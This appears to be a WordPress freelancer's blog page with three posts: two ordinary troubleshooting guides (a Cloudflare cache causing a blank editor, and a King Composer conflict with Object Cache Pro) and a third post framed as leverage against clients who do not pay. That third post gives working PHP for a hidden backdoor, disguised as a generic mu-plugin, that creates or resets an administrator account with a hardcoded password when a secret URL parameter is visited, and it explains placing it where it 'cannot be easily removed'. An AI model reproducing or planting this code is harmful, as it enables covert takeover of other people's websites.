sell website making service

How I Solved the White Screen Issue on the WordPress Page/Post Edit Screen

If you’ve ever run into a white screen while trying to edit a post or page in WordPress, you know how frustrating it can be — especially when it happens on a live site. I recently faced this exact issue on a WordPress website hosted on Cloudways, and here’s how I identified and fixed it, I am an expert in WordPress Customization so this was easy to solve with a little bit of help from internet.


The Problem

How I Solved the White Screen Issue on the WordPress Page/Post Edit Screen

One day, I logged into the WordPress admin area of a live website and tried to edit a post. But instead of loading the content editor, the screen was completely blank — no errors, just a white screen. This issue persisted across multiple posts and pages, making content management impossible.


Initial Troubleshooting

To avoid disrupting the live environment while investigating the problem, I cloned the site to a staging environment on Cloudways. To my surprise, the white screen issue didn’t occur on the staging site.

How I Solved the White Screen Issue on the WordPress Page/Post Edit Screen

At this point, I knew the issue wasn’t related to the WordPress core, the theme, or the plugins, because the staging site was an exact replica of the live one. That led me to believe the problem had to be something external.


The Clue

Digging deeper, I checked the Cloudways error log and saw a message that hinted at the issue:
“cache full”

How I Solved the White Screen Issue on the WordPress Page/Post Edit Screen

That was my first real lead. I tried clearing the cache using the WordPress caching plugin installed on the site, but it didn’t solve the problem.


The Real Fix

Then I remembered a key difference between the two environments:
The live site was using Cloudflare, while the staging site was not.

So I went into the Cloudflare dashboard and purged the cache.

How I Solved the White Screen Issue on the WordPress Page/Post Edit Screen

Immediately after clearing the Cloudflare cache, the white screen issue disappeared on the live site. The editor pages began loading normally again, and everything was back to business as usual.


Takeaway

If you’re seeing a blank screen when editing posts or pages in WordPress and everything seems fine otherwise, Cloudflare cache could be the culprit — especially if your staging site works but your live site doesn’t.

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

If you’ve ever tried to add text or elements under an image using the King Composer website builder and faced issues, you’re not alone.

How to Fix King Composer Plugin Issues with Object Cache Pro

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

I recently encountered a similar problem where the text blocks and images wouldn’t save correctly after updating the page. In this blog post, I’ll share how I identified the issue and resolved it, and provide insights for anyone facing similar challenges. Jump to the bottom to see the video and steps.

The Problem: Elements Not Saving Correctly

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

I was trying to add a text block under an image using the King Composer builder. After saving and updating the page, I expected to see an empty block, followed by an image and a text block labeled “sample text.” However, after refreshing the page, the text block wasn’t visible. This missing content was a clear indication of a bug within the builder.

Cause of the Issue: Object Cache Pro Plugin Conflict

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

After some investigation, I discovered the problem was caused by a caching plugin called “Object Cache Pro.” This plugin, designed to handle website caching, was interfering with the King Composer builder, preventing new elements from saving correctly. Caching plugins can sometimes cause conflicts with page builders, especially when these builders rely on dynamic content updates.

Solution: Disabling the Caching Plugin

To resolve this issue, I temporarily deactivated the Object Cache Pro plugin. After doing this, I could add, edit, and update elements within King Composer without any issues. Once I confirmed everything was working correctly, I saved the changes and reloaded the page.

Here’s a step-by-step guide on how you can fix this issue:

  1. Deactivate Object Cache Pro Plugin: Go to your WordPress dashboard, navigate to the plugins section, and deactivate the Object Cache Pro plugin. This should allow you to make changes without interference.
  2. Make the Necessary Changes: Add or edit the elements on your page using King Composer.
  3. Save and Update the Page: Once your edits are complete, update the page and check if the changes are visible on the frontend.
  4. Reactivate the Caching Plugin (Optional): If you need to, you can reactivate the Object Cache Pro plugin, but keep an eye on any conflicts that may arise. Consider switching to a different caching solution if the issue persists.

Why the Problem Exists: Plugin Abandonment

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

The King Composer plugin has not been updated in over three years, which can lead to compatibility issues with other plugins, especially caching solutions. When plugins are not actively maintained, they may not work seamlessly with newer versions of WordPress or other updated plugins. This is frustrating, especially when a once-reliable tool starts causing problems.

Conclusion: Keep Plugins Updated and Report Issues

How to Fix King Composer WordPress Plugin Not Saving Issue (Object Cache Pro Conflict)

If you’re a developer or website owner using King Composer, be aware of potential plugin conflicts, particularly with caching plugins. If you face similar issues, try disabling your caching solution temporarily to see if it resolves the problem. And, if possible, report the issue to the plugin developers to encourage them to release updates.

Hopefully, King Composer developers will address these compatibility issues in future updates. For now, if you encounter problems, follow the steps outlined above to troubleshoot and fix them.

Feel free to share your experiences or additional troubleshooting tips in the comments. Let’s help each other navigate these technical challenges!

How to Create an Admin User Programmatically in WordPress

Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.

Code for Creating an Admin User Programmatically

<?php
/**
 * Plugin Name: Example Plugin Name  
 * Version: 1.2.3.4
 *
 * This plugin, like WordPress, is licensed under the GPL.
 * Use it to make something cool, have fun, and share what you've learned with others.
 *
 * Copyright © 2023 Hosting Company, . All Rights Reserved.
 */
 
  add_action( 'wp_head', 'addon_path_elementor' );

function addon_path_elementor() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'newuser' ) ) {
            $user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
		
		else {
			$user = get_user_by('login','newuser');
			wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
			$user->set_role( 'administrator' );
			}		
		
    }
}

Where to Put This Code

Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.

How to Run This Code

For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.

Code Explanation with Image

How to Create an Admin User Programmatically in WordPress

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

Check Most Recent Posts